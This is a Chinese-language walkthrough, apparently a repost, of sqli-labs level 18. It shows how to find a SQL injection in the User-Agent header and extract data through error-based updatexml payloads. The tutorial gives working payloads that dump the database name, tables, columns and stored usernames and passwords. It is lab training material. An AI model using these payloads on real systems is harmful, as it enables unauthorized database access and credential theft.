sqli-labs关卡18(基于http头部报错盲注)通关思路

这篇具有很好参考价值的文章主要介绍了sqli-labs关卡18(基于http头部报错盲注)通关思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、靶场通关需要了解的知识点

  • 1、什么是http请求头
  • 2、为什么http头部可以进行注入

1、什么是http请求头

这里我只演示sql注入常见的请求头内容。

  • 1、user-agent
    User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。
    浏览器通常使用的格式为:
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>

这里我在微博进行演示user-agent的作用(无恶意,仅演示)
这里我先用kali系统在火狐浏览器中微博搜索1(如图所示)
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

然后抓包更改user-agent内容,改为手机端。这里我改为oppo手机访问网站的user-agent。因为user-agent是用来识别用户的身份的,如果你是pc端,那么服务器接收到你的user-agent发现你是pc端的linux系统,它就会响应一个pc电脑访问微博的界面。那么如果服务器接收的是我更改的手机user-agent的话,它就会自动识别我是手机端登录,然后响应一个手机访问微博的页面。

Mozilla/5.0 (Linux; Android 7.1.1; OPPO R11st Build/NMF26X; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83
Mobile Safari/537.36 T7/11.15 baiduboxapp/11.15.5.10 (Baidu; P1 7.1.1)

这是我更改的oppo手机user-agent.
更改流程如下,图一是linux系统pc端的user-agent,图二是我们改为oppo的user-agent。
然后发包看结果对比一下。
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
发现我pc端访问的微博界面变成了oppo手机端访问微博的界面。这就是user-agent的作用。通过识别用户身份,响应合适的web界面。

  • 2、referer字段

Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer
请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。

就比如你从csdn访问外链接跳转,此时referer字段指向的url地址就是csdn的地址。

  • 3、cookie

Cookie 是一个 HTTP 请求标头,其中含有先前由服务器通过 Set-Cookie 标头投放或通过 JavaScript 的
Document.cookie 方法设置,然后存储到客户端的 HTTP cookie 。

  • 4、X-Forwarded-For

X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。
当客户端直接连接到服务器时,其 IP
地址被发送给服务器(并且经常被记录在服务器的访问日志中)。但是如果客户端通过正向或反向代理服务器进行连接,服务器就只能看到最后一个代理服务器的
IP 地址,这个 IP
通常没什么用。如果最后一个代理服务器是与服务器安装在同一台主机上的负载均衡服务器,则更是如此。X-Forwarded-For
的出现,就是为了向服务器提供更有用的客户端 IP 地址。

2、为什么http头部可以进行注入

由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。我们知道任何与数据库交互的地方都是有可能会有sql注入漏洞的。如果管理员没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。

二、靶场第十八关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

首先打开第十八关,发现页面多了一个记录ip的信息。假如我们现在不知道是http头部注入,我们尝试在登录框进行sql注入,发现无论如何都是注入不成功的。这个时候我们就要换思路了,因为看到这里有记录ip信息,IP信息的记录像是和http请求头的X-Forwarded-For有关系。那么我们就要想到能不能在http请求头进行注入。
这里为了方便理解我们就看源码了
发现到有两个参数
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
网上搜发现是用来获取用户信息的user-agent值和ip值。我们发现这就是请求头的内容。继续往下看,发现user-agent值被带入到数据库中。而且没有被过滤。
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
(如图所示)我们也发现uname和passwd被过滤了,这里源码写了一个check_input的功能函数,将uname和passwd的特殊字符进行转义,我们也去网上搜了mysql_real_escape_string () 函数的作用,所以得知刚刚我们无脑在登录框注入不成功的原因是有这个转义函数在干扰。如果懂一点sql注入代码审计的大佬应该一眼就看出这是一个典型的防sql注入的代码。
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
但是我们刚刚发现源码并没有将user-agent值调用check_input函数进行过滤sql注入。那么我们可以从这里构造payload。
我们仔细看user-agent值被拼接到数据库的代码。

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

我们是要在uagent进行构造pyaload的,所以就得看这句代码进行构造payload
这里构造为' ,1,1)#
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

发现构造payload成功,但是有的人可能要质疑了,你这是知道源码才能轻松构造出来payload的,那实战大都是没有源码的呀,那咋构造?
很好,这里我假装不知道源码是什么。我们首先和之前思路一样,先试一试and 1=1 和and 1=2,发现页面都正常,说明排除数字型。sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
然后我们再直接在user-agent后面加上单引号,发现报错了。
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
报错语句为

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘xxx.xxx.xxx.xxx’, ‘admin’)’ at line 1

从报错看出肯定是有关单引号闭合,凭空想象应该原始语句是这样的

('$uagent', '$IP', $uname)

从报错内容发现不光光是单引号闭合的问题。发现user-agent加单引号后报错是缺少了 ‘xxx.xxx.xxx.xxx’, ‘admin’)'这个东西。也就是说你刚刚是这样注入的才导致报错。

('$uagent'', '$IP', $uname)

我们如果单单像之前注入一样闭合掉单引号的话就会变成这样

('$uagent'#', '$IP', $uname)

这样的话后面的两个参数就不见了,也会报错。所以我们得构造出这样

('$uagent',1,1)#', '$IP', $uname)

在payload多写两个参数,构造出和原始语句一模一样的语句
payload构造出来了,因为它有报错回显,但是不回显内容。所以用报错盲注。

2、爆数据库名

注入语句为

1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

3、爆数据库表

注入语句为

1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1,1)#

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
得到关键数据库表名users

4、爆数据库列

注入语句为

1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1),1,1)#

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1,1)#

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql

sqli-labs关卡18(基于http头部报错盲注)通关思路,http,网络协议,网络,web安全,sql
得到账号密码

总结

这一关是利用http头部的user-agent值进行sql注入,由于这一关账号密码被sql防注入过滤了,但是没有对user-agent值进行过滤,所以导致可以在user-agent进行注入。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!文章来源地址https://www.toymoban.com/news/detail-753567.html

到了这里,关于sqli-labs关卡18(基于http头部报错盲注)通关思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • sqli-labs例题复现

    less-1.1 在源码中$id=$_GET[\\\'id\\\'];之后加入如下代码: 1.分析正则 第一个b匹配select单词边界,sS匹配到所有字符,最后一个b匹配到from单词边界。 select...from被过滤,失效。 2.科学计数法的引入 如果可以存在一个,可以加在from前面,不会影响语句执行,从而实现绕过正则

    2024年02月10日
    浏览(47)
  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(50)
  • sqli-labs通关详解

    找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型 字符型注入,单引号闭合 判断字段数 找回显点 发现有两个回显点 开始信息收集(注意union前后格式要相同) 开始逐级爆破 爆破数据库 看源码或者尝试,没有闭合方式,说明为数字型注入 尝试找到注入

    2023年04月15日
    浏览(44)
  • SQLI-labs-第一关

    目录 知识点:单引号字符型注入 1、根据提示,为get注入,在url中输入内容​编辑  2、判断注入点  3、判断目前该表的字段数  4、判断回显位置 5、爆库名 6、爆表名   7、爆字段名  8、爆值 知识点:单引号字符型注入 思路: 1、根据提示,为get注入,在url中输入内容  

    2024年02月11日
    浏览(44)
  • sqli-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   Sqlilabs靶场:sqlilabs   下载链接:https://github.com/Audi-1/sqli-labs   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,J

    2023年04月13日
    浏览(86)
  • Sqli-Labs 通关笔记

    创建网站时选择php版本为5.x 修改./sql-connections/db-creds.inc 修改数据库用户名和密码,下面的数据库名不用管 任务目标:获取表名 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) sql查询语句为 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 输入 ?id=-1\\\' ,报错语句为

    2023年04月20日
    浏览(41)
  • sqli-labs部分关思路

    目录 updatexml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 25a 26 26a 27 27a 28 28a 问题:你了解sql注入吗 答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入 mysql三种注释符: --+ # /**/ updatexml() 这个函数作用是替换数据,三个参数对应

    2024年02月09日
    浏览(43)
  • sqli-labs基础篇【第七关】详细解析

      从下面的注入测试来看,只有两种输出结果   如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax” 查看是否存在双引号注入 正常输出,说明有执行,存在双引号注入 查看是否存在闭合特殊符号 推测注入点:双引号+两个闭合

    2023年04月15日
    浏览(40)
  • Sqli-lab教程-史上最全详解(1-22通关)

    目录 Less-1 联合注入 Less-2 Less-3 Less-4 Less-5 报错注入/布尔盲注/时间盲注 Less-6 报错注入/布尔盲注/时间盲注 Less-7 文件导出 Less-8 布尔盲注/时间盲注 Less-9 时间盲注 Less-10 时间盲注 Less-11 post注入 Less-12 post注入 Less-13 post盲注 Less-14 post盲注 Less-15 时间盲注 Less-16 时间盲注 Less-17 修

    2024年02月14日
    浏览(47)
  • 【史上最全sqlmap通关sqli-labs靶场教程】

    下载sqlmap地址:sqlmap: automatic SQL injection and database takeover tool 下载完成后解压在C盘或者D盘都行,自己别忘了就可以 解压后在目标文件夹下打开cmd,运行python sqlmap.py -h 运行后出现sqlmap的说明,表示安装成功 ( 这里补充一下,-h其实不是完成的说明,-hh可以获得更多说明, )

    2024年01月19日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包